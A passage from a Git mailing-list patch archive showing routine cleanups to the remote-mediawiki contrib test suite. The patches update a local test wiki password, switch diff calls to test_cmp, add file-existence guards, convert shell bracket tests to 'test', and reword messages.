<20200916102918.29805-6-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2. The web installer now refuses our old 9 character password, the command-line one (will be used in a subsequent change) will accept it, but trying to use it in the web UI will emit an error asking the user to reset the password. Let's use a password that'll just work and allow us to log in as the admin user. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/contrib/mw-to-git/t/test.config b/contrib/mw-to-git/t/test.config index b6fb0b3993..3ab56c7165 100644 --- a/contrib/mw-to-git/t/test.config +++ b/contrib/mw-to-git/t/test.config @@ -3,7 +3,7 @@ WIKI_DIR_NAME=wiki # Login and password of the wiki's admin WIKI_ADMIN=WikiAdmin -WIKI_PASSW=AdminPass +WIKI_PASSW=AdminPass1 # Address of the web server SERVER_ADDR=localhost From patchwork Wed Sep 16 10:29:09 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779663 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 0735259D for ; Wed, 16 Sep 2020 12:13:58 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id DE50A22228 for ; Wed, 16 Sep 2020 12:13:57 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="qBMml+yH" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1726463AbgIPMFH (ORCPT ); Wed, 16 Sep 2020 08:05:07 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51568 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726845AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wr1-x444.google.com (mail-wr1-x444.google.com [IPv6:2a00:1450:4864:20::444]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id E93CBC061353 for ; Wed, 16 Sep 2020 03:30:06 -0700 (PDT) Received: by mail-wr1-x444.google.com with SMTP id c18so6311235wrm.9 for ; Wed, 16 Sep 2020 03:30:06 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=iSu2isLmb8MNrfyLVvJURzR0Ft3qMcAz4QMS4YYdr+0=; b=qBMml+yHagQiPcKWYFJTBggMlq8g0bBIKY6Gxr60daCyG5PShqR/jTtkyDzwr9Zy1t ZL/9sQAVYXMOO6FyawxXcm8n5mFOC818dtu89LAwCTTm1KsVjsk6dQfS28FVzur2SnW5 MVj2GpQqvUSWimpGVWJiOsfc+rjECD4q5ZIWCCqT5ppDunDSxqt5lH3t6xkpHX+30Y38 5GoTFDkmwTLj4dX1zpKmFa6vwzKuD6JL93ZhcpO+SJMy3QeXdYuED8K5RgLARzI+fx93 PofQQc3KncpPM08glGw/9vbN5CA9emduGk3LcG9N32Z3mn0Fb0NxdxQcnI9zTTLQX5cb BOMA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=iSu2isLmb8MNrfyLVvJURzR0Ft3qMcAz4QMS4YYdr+0=; b=QkCCiNSNQ2aWMCZW6xFKOfwAJeEEQY+R3uWGIzUNp1le+LMuPxj/hFs/5zc8+BqBmb 67N6tmD77y2zahkV4ZzRJvcTFGQxoHXEeK5YJyBDeX+Vo+xm6L9On+A2tEA5I3vG7LLm AUancLLiXiadFgvGCa2Wc6S3gUZ1OiJbjIDua/r+kg9VZo3KYEKDeG34pMXmKqes/UYu MCGOpe/2UeuEE3PNPiobjz7D/0RVOVY484lE1K5+ItM+9LVPRi28ryweb9GLP6atqYYI dScRi/zXHWmdFjw85CEhagoUcAHdHWkk790xOZ4Vbi80PO7xZ/SqMJfFHwF/oiRxWY/B UWuQ== X-Gm-Message-State: AOAM531DRMddRElhXocGHz4VhD57cSsQ9IR8BK3NVdPC8+nX94o6UMxy ycjJME78oBmaNg+HexL3iepw9aw7j7abdUhI X-Google-Smtp-Source: ABdhPJx3X9KTUvcPWIh2nDT3/mnEA551mWbAk1p110mLT0VJzlU5V7FKpvU8D8lMsC8WVdhPiKLSGA== X-Received: by 2002:adf:ec45:: with SMTP id w5mr27415174wrn.357.1600252205397; Wed, 16 Sep 2020 03:30:05 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.04 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:04 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 06/15] remote-mediawiki tests: use test_cmp in tests Date: Wed, 16 Sep 2020 12:29:09 +0200 Message-Id: <20200916102918.29805-7-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change code that used an ad-hoc diff invocation to use our test_cmp helper instead. I'm also changing the order of arguments to be the standard "test_cmp ". Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/t9360-mw-to-git-clone.sh | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh index 9106833578..4c39bda7bf 100755 --- a/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh +++ b/contrib/mw-to-git/t/t9360-mw-to-git-clone.sh @@ -28,7 +28,7 @@ test_expect_success 'Git clone creates the expected git log with one file' ' git log --format=%s HEAD^..HEAD >log.tmp ) && echo "this must be the same" >msg.tmp && - diff -b mw_dir_1/log.tmp msg.tmp + test_cmp msg.tmp mw_dir_1/log.tmp ' @@ -50,8 +50,8 @@ test_expect_success 'Git clone creates the expected git log with multiple files' echo "this must be the same" >>msgDaddy.tmp && echo "identical too" >msgDj.tmp && echo "identical" >>msgDj.tmp && - diff -b mw_dir_2/logDaddy.tmp msgDaddy.tmp && - diff -b mw_dir_2/logDj.tmp msgDj.tmp + test_cmp msgDaddy.tmp mw_dir_2/logDaddy.tmp && + test_cmp msgDj.tmp mw_dir_2/logDj.tmp ' @@ -135,7 +135,7 @@ test_expect_success 'Git clone works with one specific page cloned ' ' cd mw_dir_8 && echo "this log must stay" >msg.tmp && git log --format=%s >log.tmp && - diff -b msg.tmp log.tmp + test_cmp msg.tmp log.tmp ) && wiki_check_content mw_dir_8/Namnam.mw Namnam ' From patchwork Wed Sep 16 10:29:10 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779679 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id AC35592C for ; Wed, 16 Sep 2020 12:30:15 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 8BCF722225 for ; Wed, 16 Sep 2020 12:30:15 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="PSexiwTh" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727277AbgIPMQh (ORCPT ); Wed, 16 Sep 2020 08:16:37 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51570 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726848AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wm1-x341.google.com (mail-wm1-x341.google.com [IPv6:2a00:1450:4864:20::341]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 1205BC061354 for ; Wed, 16 Sep 2020 03:30:08 -0700 (PDT) Received: by mail-wm1-x341.google.com with SMTP id z9so2437446wmk.1 for ; Wed, 16 Sep 2020 03:30:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=Cd6/zFkuzEN+RpX+5ogLFAjdj11/CmyNG1Rma0NhE6Q=; b=PSexiwThBLA3KDNQ3xN0xQ1B68bAKS44RIi0Tc3uIkpViCtwUppwHjgIYPMKyRyFHs 5qVm6Jz0hXS5uEL15pgJTDKDnu2rraFapW6YuwKmUT0mf0DYIj3YxV7IqOsLNd6ULr/1 JDDZtn5gTwFsbEmzNUJrzlD0wrEikv+JLOr49BB0DfXwGAu0+bJ8189feD3AVRof/l97 iqZkZnLAx9D1DlvEsgng5RcDNLbCO290Nn0WSUkWK8HHGjyQ0h0wtbB6ijZH8Qdft+OU +/0HhzYzKiNTsrVyCV5WJBU2WC2psSxIas7vgGAY8GDRhRZE2t1JFWTY7zh+hqJ+tUN8 PLWA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=Cd6/zFkuzEN+RpX+5ogLFAjdj11/CmyNG1Rma0NhE6Q=; b=VcmmsNopFALF95MQ3CnVd0sh7OyEpIMp3SV4fY6VxcCsMelHQ0JyrBr66u6IXeyPcb J6JAdALN5khoj071AEyC0GKaMjvcQwBXavjXvSsM2CxQ5ffPhCyPIk8tCfdR54y7B9Ac lMERSkSnA38gPd3dQsWzE0r9wunWgy3vaW+Y8A9rKUeIOxa5FNoZZHXwDkVZkIOhPde6 RL/WQaiawbPbkWDkvCYoasnrSpRxZI51pXVAWUWbK3CITj57Q7bDS1REmJeTY4rz31RH BkPDVqfcZT8eeiKDO/wRHz/e+ikNsqs5DYvLLCpHIvU7w4Sa8hKbvMHVQxS1GbXEkqSp hyjQ== X-Gm-Message-State: AOAM530GWo6RqItURPelVf21uiG3/1EurUuzCYUjd1AQ569Uio2FUsL9 8sqQqeW8ZO8i7tsjFGy/IM3O+DRH1Zj52fFM X-Google-Smtp-Source: ABdhPJxCRRUBRyTRMnCXQwYt5/WpkZBtUsaxNan2pQaWzK3c8MnZsLVlQNyTGqdpxzQaPDebCmJioA== X-Received: by 2002:a7b:cd06:: with SMTP id f6mr4167025wmj.66.1600252206422; Wed, 16 Sep 2020 03:30:06 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.05 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:05 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 07/15] remote-mediawiki tests: guard test_cmp with test_path_is_file Date: Wed, 16 Sep 2020 12:29:10 +0200 Message-Id: <20200916102918.29805-8-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change a test that used a plain test_cmp to first check the file(s) using test_path_is_file. If some of these file(s) don't exist (as happened to me during debugging), test_cmp will emit a way less useful message about the failure. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh index 43580af3cf..d3de6c204a 100755 --- a/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh +++ b/contrib/mw-to-git/t/t9363-mw-to-git-export-import.sh @@ -52,9 +52,13 @@ test_expect_success 'git clone works on previously created wiki with media files test_when_finished "rm -rf mw_dir mw_dir_clone" && git clone -c remote.origin.mediaimport=true \ mediawiki::'"$WIKI_URL"' mw_dir_clone && + test_path_is_file mw_dir_clone/Foo.txt && + test_path_is_file mw_dir/Foo.txt && test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt && (cd mw_dir_clone && git checkout HEAD^) && (cd mw_dir && git checkout HEAD^) && + test_path_is_file mw_dir_clone/Foo.txt && + test_path_is_file mw_dir/Foo.txt && test_cmp mw_dir_clone/Foo.txt mw_dir/Foo.txt ' @@ -74,6 +78,8 @@ test_expect_success 'git clone works on previously created wiki with media files test_when_finished "rm -rf mw_dir mw_dir_clone" && git clone -c remote.origin.mediaimport=true \ mediawiki::'"$WIKI_URL"' mw_dir_clone && + test_path_is_file mw_dir_clone/Bar.txt && + test_path_is_file mw_dir/Bar.txt && test_cmp mw_dir_clone/Bar.txt mw_dir/Bar.txt ' @@ -90,6 +96,7 @@ test_expect_success 'git push & pull work with locally renamed media files' ' git commit -m "Rename a file" && test_git_reimport && echo "A File" >expect && + test_path_is_file Bar.txt && test_cmp expect Bar.txt && test_path_is_missing Foo.txt ) From patchwork Wed Sep 16 10:29:11 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779697 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 38A9E139F for ; Wed, 16 Sep 2020 12:36:38 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 1A50D21741 for ; Wed, 16 Sep 2020 12:36:38 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="XPOzQYgY" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727453AbgIPMcJ (ORCPT ); Wed, 16 Sep 2020 08:32:09 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51572 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726846AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wm1-x341.google.com (mail-wm1-x341.google.com [IPv6:2a00:1450:4864:20::341]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id 586CBC061355 for ; Wed, 16 Sep 2020 03:30:09 -0700 (PDT) Received: by mail-wm1-x341.google.com with SMTP id a9so2429193wmm.2 for ; Wed, 16 Sep 2020 03:30:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=arNlwz5nmHLOGpi2DcBtjy3OY83QSaEJhcFnYLqyAWA=; b=XPOzQYgY4enK85j4PBsExMfGQAj1mK+0PHKyN2UGWuqSunFKpvR0lPBPdi56pDR1vq oqwD5CYQ+3emZFOmjkF4RborVPbStBi89KEhs9tpFmn2ec81NecpGjUu9q3V3AJB6q/+ lv6Z3yYQDl1TVhCGyRbt0NpvWpr1AjMdOgCk9Mjjr2jJ87tfVnbGxxJAF6edgCRbQQZj seyseEunHfT0DG64ToU3io+5K+6FgqkwAIhouQ0OnO463eNphMYTBsC7Fx2TcH6LSGoO j7mp7VrZWolxaVpj3+akR4TpmBkkXY5AFB2yyf4SQhSviMeLtKFYKoOmvb53KHXNfVdG 5TIw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=arNlwz5nmHLOGpi2DcBtjy3OY83QSaEJhcFnYLqyAWA=; b=YFP2vDrD39/Hkk/6s7KBZNA8ItIo72sGOPfb247xOzO3Gdp9WnHgjbowEGL4oSUKHJ 7qHVt9aEcDGS/CogDsHpvWf4zmO5/DNXTXqBq7H72SdAS/n9Lmbg9aYuv7FQgAQEPfLF 344LFZWqGdSj9MMgTCcr2BbFySNyQt3iBCBgYaJ7ZF6fHWH/f8c/VUfo257xqusLRQlx CtfPQ+oMIHXZTaCHHHc+X01LsbR3sbCZXahy6+rGrGCTFaMlvEeOFpdvhXQJqpzXDptB dBQZ8EkzUkcnYdnWoXCEZVkNzORt185NnvsXmSXTW+X6HxsMdngU9xIMaMHcJ1jyoncW KwFQ== X-Gm-Message-State: AOAM531jrP2Q6z62g73IbKlF+LCCpa84LTfWN+XnYkuo9Du3CwvQOynE WFHzQbyPPbW55D8hxhQkb3NU5HVD4yI5uxbn X-Google-Smtp-Source: ABdhPJz+avcqN9Fa4Qf00/+q4tsOfVDxvgmsP/5JuLLmLfkIlBCxGJjxLsDrCFwmoYhF8057nKM0YQ== X-Received: by 2002:a1c:dd45:: with SMTP id u66mr4050800wmg.117.1600252207539; Wed, 16 Sep 2020 03:30:07 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.06 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:06 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 08/15] remote-mediawiki tests: change `[]` to `test` Date: Wed, 16 Sep 2020 12:29:11 +0200 Message-Id: <20200916102918.29805-9-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Convert `[]` to `test` and break if-then into separate lines, both of which bring the style in line with Git's coding guidelines. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test-gitmw-lib.sh | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh index 3948a00282..a466be8f3f 100755 --- a/contrib/mw-to-git/t/test-gitmw-lib.sh +++ b/contrib/mw-to-git/t/test-gitmw-lib.sh @@ -65,7 +65,7 @@ test_check_precond () { GIT_EXEC_PATH=$(cd "$(dirname "$0")" && cd "../.." && pwd) PATH="$GIT_EXEC_PATH"'/bin-wrapper:'"$PATH" - if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ]; + if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" then skip_all='skipping gateway git-mw tests, no mediawiki found' test_done @@ -304,7 +304,8 @@ create_db () { php "$FILES_FOLDER/$DB_INSTALL_SCRIPT" $(basename "$DB_FILE" .sqlite) \ "$WIKI_ADMIN" "$WIKI_PASSW" "$TMP" "$PORT" - if [ ! -f "$TMP/$DB_FILE" ] ; then + if ! test -f "$TMP/$DB_FILE" + then error "Can't create database file $TMP/$DB_FILE. Try to run ./install-wiki.sh delete first." fi @@ -325,7 +326,8 @@ wiki_install () { # unpack and copy the files of MediaWiki ( mkdir -p "$WIKI_DIR_INST/$WIKI_DIR_NAME" - if [ ! -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" ] ; then + if ! test -d "$WIKI_DIR_INST/$WIKI_DIR_NAME" + then error "Folder $WIKI_DIR_INST/$WIKI_DIR_NAME doesn't exist. Please create it and launch the script again." fi @@ -333,7 +335,8 @@ wiki_install () { # Fetch MediaWiki's archive if not already present in the TMP directory MW_FILENAME="mediawiki-$MW_VERSION_MAJOR.$MW_VERSION_MINOR.tar.gz" cd "$TMP" - if [ ! -f $MW_FILENAME ] ; then + if ! test -f $MW_FILENAME + then echo "Downloading $MW_VERSION_MAJOR.$MW_VERSION_MINOR sources ..." wget "http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/$MW_FILENAME" || error "Unable to download "\ @@ -359,7 +362,8 @@ wiki_install () { # And modify parameters according to the ones set at the top # of this script. # Note that LocalSettings.php is never modified. - if [ ! -f "$FILES_FOLDER/LocalSettings.php" ] ; then + if ! test -f "$FILES_FOLDER/LocalSettings.php" + then error "Can't find $FILES_FOLDER/LocalSettings.php " \ "in the current folder. "\ "Please run the script inside its folder." @@ -401,7 +405,8 @@ wiki_install () { # Warning: This function must be called only in a subdirectory of t/ directory wiki_reset () { # Copy initial database of the wiki - if [ ! -f "../$FILES_FOLDER/$DB_FILE" ] ; then + if ! test -f "../$FILES_FOLDER/$DB_FILE" + then error "Can't find ../$FILES_FOLDER/$DB_FILE in the current folder." fi cp "../$FILES_FOLDER/$DB_FILE" "$TMP" || From patchwork Wed Sep 16 10:29:12 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779683 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by pdx-korg-patchwork-2.web.codeaurora.org (Postfix) with ESMTP id 95334618 for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Received: from vger.kernel.org (vger.kernel.org [23.128.96.18]) by mail.kernel.org (Postfix) with ESMTP id 78EBB22240 for ; Wed, 16 Sep 2020 12:32:09 +0000 (UTC) Authentication-Results: mail.kernel.org; dkim=pass (2048-bit key) header.d=gmail.com header.i=@gmail.com header.b="Fnk+Q2f7" Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand id S1727330AbgIPMWK (ORCPT ); Wed, 16 Sep 2020 08:22:10 -0400 Received: from lindbergh.monkeyblade.net ([23.128.96.19]:51574 "EHLO lindbergh.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP id S1726847AbgIPKcf (ORCPT ); Wed, 16 Sep 2020 06:32:35 -0400 Received: from mail-wm1-x341.google.com (mail-wm1-x341.google.com [IPv6:2a00:1450:4864:20::341]) by lindbergh.monkeyblade.net (Postfix) with ESMTPS id E1638C061356 for ; Wed, 16 Sep 2020 03:30:09 -0700 (PDT) Received: by mail-wm1-x341.google.com with SMTP id w2so2247994wmi.1 for ; Wed, 16 Sep 2020 03:30:09 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=k7Y9sPiZ1Y8YmAdku6q80S+Hjg5mNS1POXOalY8tmXM=; b=Fnk+Q2f7Iub+oGuha+WbOREJ+p463sQ3eRzkyOjZB7r6vvZJJWNaerF4Y/MVIn0ND3 cg3mkEfsvPukNHjzyWiEWqHYUgDL5AbUzPvmb/8SSWKZkQfiZgQHQt+S3rnuBoXuHwfK BTmALF0rEmAoB5ubloUNke8+K0b6vmIrJwFKc/DndkXczP192hggfJvAgbBoTWkGoUY3 7XJUMvpS8u7pqC+I3VLnWoWZiExp2/DeDIo15BZbYTG99m0BH4lq9pbDmcoLaAlOie2C qGvvDmq+czFRQ1O5JJWKl7ngxOTdIKqLFCtNinDk1tTzGfATlqxzdWy0iKbbityAQrwY SFjQ== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=k7Y9sPiZ1Y8YmAdku6q80S+Hjg5mNS1POXOalY8tmXM=; b=AR9bBtp3rH0lnSaDn/4K6kVthkqgEShpnBzJpmQJewclsBmba3FwMxy/jisP2cu+zl JVSmW+zi+xqxfxrlVS7G6iq/JCoJCmv0KkuBFaEQ07cIGLySApHuUMnbu1feRMBtoocJ Nn2dmEJmGobyKK0c5DGJdoAC8FmfSPGwq4uXEBcvAsB8ovqLpYJsPpvwbHUuVf3/A0c4 3D3rBCXhAbeLplnghS7lPjjmKqtReQl/2y83Hf1KtXU2CMOvCISiF1kB1ooS78Gu2jlh xo5/AYH4Wmd8YSa3NsIA55r2Ta3ZOnqoliqfllwD3V7+YgHxUdM/6fPFZXvA2BpGkatW 3xvw== X-Gm-Message-State: AOAM531Pz/7EU5BjqxhpQlOJk8aJuf8aJYn7qnNDaQOsGFxVw1ZM8Q4G EqAEOTA/Hb1KmbGVR+sdjKkxuQXowMw4EyBe X-Google-Smtp-Source: ABdhPJzq3UI0zTf0birCnM7gyo5Tm8N0wIcW/tN7qs/a7YGGcUeoB3KnaUo0GzSame9B9jLlvBN0Lg== X-Received: by 2002:a1c:bdd4:: with SMTP id n203mr3912650wmf.119.1600252208344; Wed, 16 Sep 2020 03:30:08 -0700 (PDT) Received: from vm.nix.is (vm.nix.is. [2a01:4f8:120:2468::2]) by smtp.gmail.com with ESMTPSA id n11sm32172916wrx.91.2020.09.16.03.30.07 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Wed, 16 Sep 2020 03:30:07 -0700 (PDT) From: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= To: git@vger.kernel.org Cc: Junio C Hamano , Matthieu Moy , Johannes Schindelin , =?utf-8?q?Antoine_Beaupr?= =?utf-8?q?=C3=A9?= , Simon Legner , =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBC?= =?utf-8?b?amFybWFzb24=?= Subject: [PATCH 09/15] remote-mediawiki tests: use "$dir/" instead of "$dir." Date: Wed, 16 Sep 2020 12:29:12 +0200 Message-Id: <20200916102918.29805-10-avarab@gmail.com> X-Mailer: git-send-email 2.28.0.297.g1956fa8f8d In-Reply-To: <20200916102918.29805-1-avarab@gmail.com> References: <20200916102918.29805-1-avarab@gmail.com> MIME-Version: 1.0 Sender: git-owner@vger.kernel.org Precedence: bulk List-ID: X-Mailing-List: git@vger.kernel.org Change UI messages to use "$dir/" instead of "$dir.". I think this is less confusing. Signed-off-by: Ævar Arnfjörð Bjarmason --- contrib/mw-to-git/t/test-gitmw-lib.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/contrib/mw-to-git/t/test-gitmw-lib.sh b/contrib/mw-to-git/t/test-gitmw-lib.sh index a466be8f3f..aa04ebfd0f 100755 --- a/contrib/mw-to-git/t/test-gitmw-lib.sh +++ b/contrib/mw-to-git/t/test-gitmw-lib.sh @@ -343,10 +343,10 @@ wiki_install () { "http://download.wikimedia.org/mediawiki/$MW_VERSION_MAJOR/"\ "$MW_FILENAME. "\ "Please fix your connection and launch the script again." - echo "$MW_FILENAME downloaded in $(pwd). "\ + echo "$MW_FILENAME downloaded in $(pwd)/ "\ "You can delete it later if you want." else - echo "Reusing existing $MW_FILENAME downloaded in $(pwd)." + echo "Reusing existing $MW_FILENAME downloaded in $(pwd)/" fi archive_abs_path=$(pwd)/$MW_FILENAME cd "$WIKI_DIR_INST/$WIKI_DIR_NAME/" || From patchwork Wed Sep 16 10:29:13 2020 Content-Type: text/plain; charset="utf-8" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Patchwork-Submitter: =?utf-8?b?w4Z2YXIgQXJuZmrDtnLDsCBCamFybWFzb24=?= X-Patchwork-Id: 11779691 Return-Path: Received: from mail.kernel.org (pdx-korg-mail-1.web.codeaurora.org [172.30.200.123]) by 